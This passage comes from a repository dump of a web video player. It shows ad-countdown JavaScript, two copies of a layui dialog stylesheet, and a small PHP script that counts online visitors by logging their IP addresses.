document.getElementById("time_ad"); 661 | var num = span.innerHTML; 662 | var timer = null; 663 | setTimeout(function() { 664 | timer = setInterval(function() { 665 | num--; 666 | span.innerHTML = num; 667 | if (num == 0) { 668 | clearInterval(timer); 669 | YZM.play(config.url); 670 | $('#ADtip').remove(); 671 | } 672 | }, 1000); 673 | }, 1); 674 | 675 | }, 676 | 'pause': { 677 | 'play': function(l, p) { 678 | if (YZM.ads.pause.state == 'on') { 679 | var pause_ad_html = '
    广告
    '; 681 | $('#player').before(pause_ad_html); 682 | } 683 | }, 684 | 'out': function() { 685 | $('#player_pause').remove(); 686 | } 687 | } 688 | } 689 | 690 | } 691 | 692 | 693 | // 控制台报错 694 | //setInterval(function() { 695 | //window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized ? t("on") : (a = "off", ("undefined"!==typeof console.clear) && console.clear()); 696 | //debugger; 697 | //}, 10); 698 | -------------------------------------------------------------------------------- /player/js/theme/default/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/newcdn/bilibili/e77f97343e41c45b1bc417ecd34ac12f96261ba8/player/js/theme/default/icon.png -------------------------------------------------------------------------------- /player/js/theme/default/layer.css: -------------------------------------------------------------------------------- 1 | .layui-layer-imgbar,.layui-layer-imgtit a,.layui-layer-tab .layui-layer-title span,.layui-layer-title{text-overflow:ellipsis;white-space:nowrap}html #layuicss-layer{display:none;position:absolute;width:1989px}.layui-layer,.layui-layer-shade{position:fixed;_position:absolute;pointer-events:auto}.layui-layer-shade{top:0;left:0;width:100%;height:100%;_height:expression(document.body.offsetHeight+"px");background-color: transparent!important;}.layui-layer{-webkit-overflow-scrolling:touch;top:150px;left:0;margin:0;padding:0;background-color: rgba(21,21,21,.9);-webkit-background-clip:content;border-radius: 6px;box-shadow:1px 1px 50px rgba(0,0,0,.3);}.layui-layer-close{position:absolute}.layui-layer-content{position:relative}.layui-layer-border{border:1px solid #B2B2B2;border:1px solid rgba(0,0,0,.1);box-shadow:1px 1px 5px rgba(0,0,0,.2)}.layui-layer-load{background:url(loading-1.gif) center center no-repeat #eee}.layui-layer-ico{background:url(icon.png) no-repeat}.layui-layer-btn a,.layui-layer-dialog .layui-layer-ico,.layui-layer-setwin a{display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-move{display:none;position:fixed;*position:absolute;left:0;top:0;width:100%;height:100%;cursor:move;opacity:0;filter:alpha(opacity=0);background-color:#fff;z-index:2147483647}.layui-layer-resize{position:absolute;width:15px;height:15px;right:0;bottom:0;cursor:se-resize}.layer-anim{-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.3s;animation-duration:.3s}@-webkit-keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-00{-webkit-animation-name:layer-bounceIn;animation-name:layer-bounceIn}@-webkit-keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-01{-webkit-animation-name:layer-zoomInDown;animation-name:layer-zoomInDown}@-webkit-keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}.layer-anim-02{-webkit-animation-name:layer-fadeInUpBig;animation-name:layer-fadeInUpBig}@-webkit-keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-03{-webkit-animation-name:layer-zoomInLeft;animation-name:layer-zoomInLeft}@-webkit-keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}.layer-anim-04{-webkit-animation-name:layer-rollIn;animation-name:layer-rollIn}@keyframes layer-fadeIn{0%{opacity:0}100%{opacity:1}}.layer-anim-05{-webkit-animation-name:layer-fadeIn;animation-name:layer-fadeIn}@-webkit-keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}.layer-anim-06{-webkit-animation-name:layer-shake;animation-name:layer-shake}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.layui-layer-title{padding: 0 20px 0 20px;height: 32px;line-height: 32px;/* border-bottom:1px solid #eee; */font-size: 12px;color: #ddd;overflow:hidden;background-color: rgba(21,21,21,.9);border-radius: 6px 6px 0 0;}.layui-layer-setwin{position:absolute;right:15px;*right:0;top: 8px;font-size:0;line-height:initial;}.layui-layer-setwin a{position:relative;width: 16px;height: 22px;margin-left: 10px;font-size:12px;_overflow:hidden;}.layui-layer-setwin .layui-layer-min cite{position:absolute;width:14px;height:2px;left:0;top:50%;margin-top:-1px;background-color:#2E2D3C;cursor:pointer;_overflow:hidden}.layui-layer-setwin .layui-layer-min:hover cite{background-color:#2D93CA}.layui-layer-setwin .layui-layer-max{background-position:-32px -40px}.layui-layer-setwin .layui-layer-max:hover{background-position:-16px -40px}.layui-layer-setwin .layui-layer-maxmin{background-position:-65px -40px}.layui-layer-setwin .layui-layer-maxmin:hover{background-position:-49px -40px}.layui-layer-setwin .layui-layer-close1{background-position: 0px -40px;cursor:pointer;}.layui-layer-setwin .layui-layer-close1:hover{opacity:.7}.layui-layer-setwin .layui-layer-close2{position:absolute;right:-28px;top:-28px;width:30px;height:30px;margin-left:0;background-position:-149px -31px;*right:-18px;_display:none}.layui-layer-setwin .layui-layer-close2:hover{background-position:-180px -31px}.layui-layer-btn{text-align:right;padding: 0 12px 12px;pointer-events:auto;user-select:none;-webkit-user-select:none;}.layui-layer-btn a{height:28px;line-height:28px;margin: 5px 10px 0;padding:0 15px;/* border:1px solid #dedede; */background-color: #dedede;color: #ddd;border-radius:2px;font-weight:400;cursor:pointer;text-decoration:none;width: 64px;background-color: #222;}.layui-layer-btn a:hover{opacity:.9;text-decoration:none}.layui-layer-btn a:active{opacity:.8}.layui-layer-btn .layui-layer-btn0{/* border-color:#1E9FFF; *//* background-color:#1E9FFF; *//* color:#fff; */}.layui-layer-btn-l{text-align:left}.layui-layer-btn-c{text-align:center}.layui-layer-dialog{width: 330px;}.layui-layer-dialog .layui-layer-content{position:relative;padding:20px;line-height:24px;word-break:break-all;overflow:hidden;font-size:14px;overflow-x:hidden;overflow-y:auto;color: #ddd;}.layui-layer-dialog .layui-layer-content .layui-layer-ico{position:absolute;top:16px;left:15px;_left:-40px;width:30px;height:30px}.layui-layer-ico1{background-position:-30px 0}.layui-layer-ico2{background-position:-60px 0}.layui-layer-ico3{background-position:-90px 0}.layui-layer-ico4{background-position:-120px 0}.layui-layer-ico5{background-position:-150px 0}.layui-layer-ico6{background-position:-180px 0}.layui-layer-rim{border:6px solid #8D8D8D;border:6px solid rgba(0,0,0,.3);border-radius:5px;box-shadow:none}.layui-layer-msg{min-width:180px;border:1px solid #D3D4D3;box-shadow:none}.layui-layer-hui{min-width:100px;background-color:#000;filter:alpha(opacity=60);background-color:rgba(0,0,0,.6);color:#fff;border:none}.layui-layer-hui .layui-layer-content{padding:12px 25px;text-align:center}.layui-layer-dialog .layui-layer-padding{padding:20px 20px 20px 55px;text-align:left}.layui-layer-page .layui-layer-content{position:relative;overflow:auto}.layui-layer-iframe .layui-layer-btn,.layui-layer-page .layui-layer-btn{padding-top:10px}.layui-layer-nobg{background:0 0}.layui-layer-iframe iframe{display:block;width:100%}.layui-layer-loading{border-radius:100%;background:0 0;box-shadow:none;border:none}.layui-layer-loading .layui-layer-content{width:60px;height:24px;background:url(loading-0.gif) no-repeat}.layui-layer-loading .layui-layer-loading1{width:37px;height:37px;background:url(loading-1.gif) no-repeat}.layui-layer-ico16,.layui-layer-loading .layui-layer-loading2{width:32px;height:32px;background:url(loading-2.gif) no-repeat}.layui-layer-tips{background:0 0;box-shadow:none;border:none;}.layui-layer-tips .layui-layer-content{position:relative;line-height:22px;min-width:12px;padding:8px 15px;font-size:12px;_float:left;border-radius: 5px;box-shadow:1px 1px 3px rgba(0,0,0,.2);background-color:#000;color:#fff;opacity: .7;}.layui-layer-tips .layui-layer-close{right:-2px;top:-1px}.layui-layer-tips i.layui-layer-TipsG{position:absolute;width:0;height:0;border-width:8px;border-color:transparent;border-style:dashed;*overflow:hidden}.layui-layer-tips i.layui-layer-TipsB,.layui-layer-tips i.layui-layer-TipsT{left:5px;border-right-style:solid;border-right-color:#000}.layui-layer-tips i.layui-layer-TipsT{bottom:-8px;}.layui-layer-tips i.layui-layer-TipsB{top:-8px}.layui-layer-tips i.layui-layer-TipsL,.layui-layer-tips i.layui-layer-TipsR{top:5px;border-bottom-style:solid;border-bottom-color:#000}.layui-layer-tips i.layui-layer-TipsR{left:-8px}.layui-layer-tips i.layui-layer-TipsL{right:-8px}.layui-layer-lan[type=dialog]{min-width:280px}.layui-layer-lan .layui-layer-title{background:#4476A7;color:#fff;border:none}.layui-layer-lan .layui-layer-btn{padding:5px 10px 10px;text-align:right;border-top:1px solid #E9E7E7}.layui-layer-lan .layui-layer-btn a{background:#fff;border-color:#E9E7E7;color:#333}.layui-layer-lan .layui-layer-btn .layui-layer-btn1{background:#C9C5C5}.layui-layer-molv .layui-layer-title{background:#009f95;color:#fff;border:none}.layui-layer-molv .layui-layer-btn a{background:#009f95;border-color:#009f95}.layui-layer-molv .layui-layer-btn .layui-layer-btn1{background:#92B8B1}.layui-layer-iconext{background:url(icon-ext.png) no-repeat}.layui-layer-prompt .layui-layer-input{display:block;width:230px;height:36px;margin:0 auto;line-height:30px;padding-left:10px;border:1px solid #e6e6e6;color:#333}.layui-layer-prompt textarea.layui-layer-input{width:300px;height:100px;line-height:20px;padding:6px 10px}.layui-layer-prompt .layui-layer-content{padding:20px}.layui-layer-prompt .layui-layer-btn{padding-top:0}.layui-layer-tab{box-shadow:1px 1px 50px rgba(0,0,0,.4)}.layui-layer-tab .layui-layer-title{padding-left:0;overflow:visible}.layui-layer-tab .layui-layer-title span{position:relative;float:left;min-width:80px;max-width:260px;padding:0 20px;text-align:center;overflow:hidden;cursor:pointer}.layui-layer-tab .layui-layer-title span.layui-this{height:43px;border-left:1px solid #eee;border-right:1px solid #eee;background-color:#fff;z-index:10}.layui-layer-tab .layui-layer-title span:first-child{border-left:none}.layui-layer-tabmain{line-height:24px;clear:both}.layui-layer-tabmain .layui-layer-tabli{display:none}.layui-layer-tabmain .layui-layer-tabli.layui-this{display:block}.layui-layer-photos{-webkit-animation-duration:.8s;animation-duration:.8s}.layui-layer-photos .layui-layer-content{overflow:hidden;text-align:center}.layui-layer-photos .layui-layer-phimg img{position:relative;width:100%;display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-imgbar,.layui-layer-imguide{display:none}.layui-layer-imgnext,.layui-layer-imgprev{position:absolute;top:50%;width:27px;_width:44px;height:44px;margin-top:-22px;outline:0;blr:expression(this.onFocus=this.blur())}.layui-layer-imgprev{left:10px;background-position:-5px -5px;_background-position:-70px -5px}.layui-layer-imgprev:hover{background-position:-33px -5px;_background-position:-120px -5px}.layui-layer-imgnext{right:10px;_right:8px;background-position:-5px -50px;_background-position:-70px -50px}.layui-layer-imgnext:hover{background-position:-33px -50px;_background-position:-120px -50px}.layui-layer-imgbar{position:absolute;left:0;bottom:0;width:100%;height:32px;line-height:32px;background-color:rgba(0,0,0,.8);background-color:#000\9;filter:Alpha(opacity=80);color:#fff;overflow:hidden;font-size:0}.layui-layer-imgtit *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:12px}.layui-layer-imgtit a{max-width:65%;overflow:hidden;color:#fff}.layui-layer-imgtit a:hover{color:#fff;text-decoration:underline}.layui-layer-imgtit em{padding-left:10px;font-style:normal}@-webkit-keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-close{-webkit-animation-name:layer-bounceOut;animation-name:layer-bounceOut;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.2s;animation-duration:.2s}@media screen and (max-width:1100px){.layui-layer-iframe{overflow-y:auto;-webkit-overflow-scrolling:touch}} -------------------------------------------------------------------------------- /player/js/theme/default/layer.css░╫: -------------------------------------------------------------------------------- 1 | .layui-layer-imgbar,.layui-layer-imgtit a,.layui-layer-tab .layui-layer-title span,.layui-layer-title{text-overflow:ellipsis;white-space:nowrap}html #layuicss-layer{display:none;position:absolute;width:1989px}.layui-layer,.layui-layer-shade{position:fixed;_position:absolute;pointer-events:auto}.layui-layer-shade{top:0;left:0;width:100%;height:100%;_height:expression(document.body.offsetHeight+"px")}.layui-layer{-webkit-overflow-scrolling:touch;top:150px;left:0;margin:0;padding:0;background-color:#fff;-webkit-background-clip:content;border-radius: 2px;box-shadow:1px 1px 50px rgba(0,0,0,.3);}.layui-layer-close{position:absolute}.layui-layer-content{position:relative}.layui-layer-border{border:1px solid #B2B2B2;border:1px solid rgba(0,0,0,.1);box-shadow:1px 1px 5px rgba(0,0,0,.2)}.layui-layer-load{background:url(loading-1.gif) center center no-repeat #eee}.layui-layer-ico{background:url(icon.png) no-repeat}.layui-layer-btn a,.layui-layer-dialog .layui-layer-ico,.layui-layer-setwin a{display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-move{display:none;position:fixed;*position:absolute;left:0;top:0;width:100%;height:100%;cursor:move;opacity:0;filter:alpha(opacity=0);background-color:#fff;z-index:2147483647}.layui-layer-resize{position:absolute;width:15px;height:15px;right:0;bottom:0;cursor:se-resize}.layer-anim{-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.3s;animation-duration:.3s}@-webkit-keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-00{-webkit-animation-name:layer-bounceIn;animation-name:layer-bounceIn}@-webkit-keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-01{-webkit-animation-name:layer-zoomInDown;animation-name:layer-zoomInDown}@-webkit-keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}.layer-anim-02{-webkit-animation-name:layer-fadeInUpBig;animation-name:layer-fadeInUpBig}@-webkit-keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-03{-webkit-animation-name:layer-zoomInLeft;animation-name:layer-zoomInLeft}@-webkit-keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}.layer-anim-04{-webkit-animation-name:layer-rollIn;animation-name:layer-rollIn}@keyframes layer-fadeIn{0%{opacity:0}100%{opacity:1}}.layer-anim-05{-webkit-animation-name:layer-fadeIn;animation-name:layer-fadeIn}@-webkit-keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}.layer-anim-06{-webkit-animation-name:layer-shake;animation-name:layer-shake}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.layui-layer-title{padding: 0 20px 0 20px;height: 32px;line-height: 32px;border-bottom:1px solid #eee;font-size: 12px;color:#333;overflow:hidden;background-color:#F8F8F8;border-radius:2px 2px 0 0;}.layui-layer-setwin{position:absolute;right:15px;*right:0;top: 8px;font-size:0;line-height:initial;}.layui-layer-setwin a{position:relative;width: 16px;height: 22px;margin-left: 10px;font-size:12px;_overflow:hidden;}.layui-layer-setwin .layui-layer-min cite{position:absolute;width:14px;height:2px;left:0;top:50%;margin-top:-1px;background-color:#2E2D3C;cursor:pointer;_overflow:hidden}.layui-layer-setwin .layui-layer-min:hover cite{background-color:#2D93CA}.layui-layer-setwin .layui-layer-max{background-position:-32px -40px}.layui-layer-setwin .layui-layer-max:hover{background-position:-16px -40px}.layui-layer-setwin .layui-layer-maxmin{background-position:-65px -40px}.layui-layer-setwin .layui-layer-maxmin:hover{background-position:-49px -40px}.layui-layer-setwin .layui-layer-close1{background-position: 0px -40px;cursor:pointer;}.layui-layer-setwin .layui-layer-close1:hover{opacity:.7}.layui-layer-setwin .layui-layer-close2{position:absolute;right:-28px;top:-28px;width:30px;height:30px;margin-left:0;background-position:-149px -31px;*right:-18px;_display:none}.layui-layer-setwin .layui-layer-close2:hover{background-position:-180px -31px}.layui-layer-btn{text-align:right;padding: 0 12px 12px;pointer-events:auto;user-select:none;-webkit-user-select:none;}.layui-layer-btn a{height:28px;line-height:28px;margin: 5px 10px 0;padding:0 15px;/* border:1px solid #dedede; */background-color: #dedede;color:#333;border-radius:2px;font-weight:400;cursor:pointer;text-decoration:none;width: 64px;}.layui-layer-btn a:hover{opacity:.9;text-decoration:none}.layui-layer-btn a:active{opacity:.8}.layui-layer-btn .layui-layer-btn0{border-color:#1E9FFF;background-color:#1E9FFF;color:#fff;}.layui-layer-btn-l{text-align:left}.layui-layer-btn-c{text-align:center}.layui-layer-dialog{width: 330px;}.layui-layer-dialog .layui-layer-content{position:relative;padding:20px;line-height:24px;word-break:break-all;overflow:hidden;font-size:14px;overflow-x:hidden;overflow-y:auto}.layui-layer-dialog .layui-layer-content .layui-layer-ico{position:absolute;top:16px;left:15px;_left:-40px;width:30px;height:30px}.layui-layer-ico1{background-position:-30px 0}.layui-layer-ico2{background-position:-60px 0}.layui-layer-ico3{background-position:-90px 0}.layui-layer-ico4{background-position:-120px 0}.layui-layer-ico5{background-position:-150px 0}.layui-layer-ico6{background-position:-180px 0}.layui-layer-rim{border:6px solid #8D8D8D;border:6px solid rgba(0,0,0,.3);border-radius:5px;box-shadow:none}.layui-layer-msg{min-width:180px;border:1px solid #D3D4D3;box-shadow:none}.layui-layer-hui{min-width:100px;background-color:#000;filter:alpha(opacity=60);background-color:rgba(0,0,0,.6);color:#fff;border:none}.layui-layer-hui .layui-layer-content{padding:12px 25px;text-align:center}.layui-layer-dialog .layui-layer-padding{padding:20px 20px 20px 55px;text-align:left}.layui-layer-page .layui-layer-content{position:relative;overflow:auto}.layui-layer-iframe .layui-layer-btn,.layui-layer-page .layui-layer-btn{padding-top:10px}.layui-layer-nobg{background:0 0}.layui-layer-iframe iframe{display:block;width:100%}.layui-layer-loading{border-radius:100%;background:0 0;box-shadow:none;border:none}.layui-layer-loading .layui-layer-content{width:60px;height:24px;background:url(loading-0.gif) no-repeat}.layui-layer-loading .layui-layer-loading1{width:37px;height:37px;background:url(loading-1.gif) no-repeat}.layui-layer-ico16,.layui-layer-loading .layui-layer-loading2{width:32px;height:32px;background:url(loading-2.gif) no-repeat}.layui-layer-tips{background:0 0;box-shadow:none;border:none;}.layui-layer-tips .layui-layer-content{position:relative;line-height:22px;min-width:12px;padding:8px 15px;font-size:12px;_float:left;border-radius: 5px;box-shadow:1px 1px 3px rgba(0,0,0,.2);background-color:#000;color:#fff;opacity: .7;}.layui-layer-tips .layui-layer-close{right:-2px;top:-1px}.layui-layer-tips i.layui-layer-TipsG{position:absolute;width:0;height:0;border-width:8px;border-color:transparent;border-style:dashed;*overflow:hidden}.layui-layer-tips i.layui-layer-TipsB,.layui-layer-tips i.layui-layer-TipsT{left:5px;border-right-style:solid;border-right-color:#000}.layui-layer-tips i.layui-layer-TipsT{bottom:-8px;}.layui-layer-tips i.layui-layer-TipsB{top:-8px}.layui-layer-tips i.layui-layer-TipsL,.layui-layer-tips i.layui-layer-TipsR{top:5px;border-bottom-style:solid;border-bottom-color:#000}.layui-layer-tips i.layui-layer-TipsR{left:-8px}.layui-layer-tips i.layui-layer-TipsL{right:-8px}.layui-layer-lan[type=dialog]{min-width:280px}.layui-layer-lan .layui-layer-title{background:#4476A7;color:#fff;border:none}.layui-layer-lan .layui-layer-btn{padding:5px 10px 10px;text-align:right;border-top:1px solid #E9E7E7}.layui-layer-lan .layui-layer-btn a{background:#fff;border-color:#E9E7E7;color:#333}.layui-layer-lan .layui-layer-btn .layui-layer-btn1{background:#C9C5C5}.layui-layer-molv .layui-layer-title{background:#009f95;color:#fff;border:none}.layui-layer-molv .layui-layer-btn a{background:#009f95;border-color:#009f95}.layui-layer-molv .layui-layer-btn .layui-layer-btn1{background:#92B8B1}.layui-layer-iconext{background:url(icon-ext.png) no-repeat}.layui-layer-prompt .layui-layer-input{display:block;width:230px;height:36px;margin:0 auto;line-height:30px;padding-left:10px;border:1px solid #e6e6e6;color:#333}.layui-layer-prompt textarea.layui-layer-input{width:300px;height:100px;line-height:20px;padding:6px 10px}.layui-layer-prompt .layui-layer-content{padding:20px}.layui-layer-prompt .layui-layer-btn{padding-top:0}.layui-layer-tab{box-shadow:1px 1px 50px rgba(0,0,0,.4)}.layui-layer-tab .layui-layer-title{padding-left:0;overflow:visible}.layui-layer-tab .layui-layer-title span{position:relative;float:left;min-width:80px;max-width:260px;padding:0 20px;text-align:center;overflow:hidden;cursor:pointer}.layui-layer-tab .layui-layer-title span.layui-this{height:43px;border-left:1px solid #eee;border-right:1px solid #eee;background-color:#fff;z-index:10}.layui-layer-tab .layui-layer-title span:first-child{border-left:none}.layui-layer-tabmain{line-height:24px;clear:both}.layui-layer-tabmain .layui-layer-tabli{display:none}.layui-layer-tabmain .layui-layer-tabli.layui-this{display:block}.layui-layer-photos{-webkit-animation-duration:.8s;animation-duration:.8s}.layui-layer-photos .layui-layer-content{overflow:hidden;text-align:center}.layui-layer-photos .layui-layer-phimg img{position:relative;width:100%;display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-imgbar,.layui-layer-imguide{display:none}.layui-layer-imgnext,.layui-layer-imgprev{position:absolute;top:50%;width:27px;_width:44px;height:44px;margin-top:-22px;outline:0;blr:expression(this.onFocus=this.blur())}.layui-layer-imgprev{left:10px;background-position:-5px -5px;_background-position:-70px -5px}.layui-layer-imgprev:hover{background-position:-33px -5px;_background-position:-120px -5px}.layui-layer-imgnext{right:10px;_right:8px;background-position:-5px -50px;_background-position:-70px -50px}.layui-layer-imgnext:hover{background-position:-33px -50px;_background-position:-120px -50px}.layui-layer-imgbar{position:absolute;left:0;bottom:0;width:100%;height:32px;line-height:32px;background-color:rgba(0,0,0,.8);background-color:#000\9;filter:Alpha(opacity=80);color:#fff;overflow:hidden;font-size:0}.layui-layer-imgtit *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:12px}.layui-layer-imgtit a{max-width:65%;overflow:hidden;color:#fff}.layui-layer-imgtit a:hover{color:#fff;text-decoration:underline}.layui-layer-imgtit em{padding-left:10px;font-style:normal}@-webkit-keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-close{-webkit-animation-name:layer-bounceOut;animation-name:layer-bounceOut;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.2s;animation-duration:.2s}@media screen and (max-width:1100px){.layui-layer-iframe{overflow-y:auto;-webkit-overflow-scrolling:touch}} -------------------------------------------------------------------------------- /player/tj.php: -------------------------------------------------------------------------------- 1 | time())) { 15 | 16 | array_push($temp, $entry[0] . "," . $entry[1] . "\n"); //取出其他浏览者的信息,并去掉超时者,保存进$temp 17 | 18 | } 19 | } 20 | array_push($temp, getenv('REMOTE_ADDR') . "," . (time() + ($timeout)) . "\n"); //更新浏览者的时间 21 | $users_online = count($temp); //计算在线人数 22 | $entries = implode("", $temp); 23 | 24 | //写入文件 25 | $fp = fopen($online_log, "w"); 26 | flock($fp, LOCK_EX); //flock() 不能在NFS以及其他的一些网络文件系统中正常工作 27 | fputs($fp, $entries); 28 | flock($fp, LOCK_UN); 29 | fclose($fp); 30 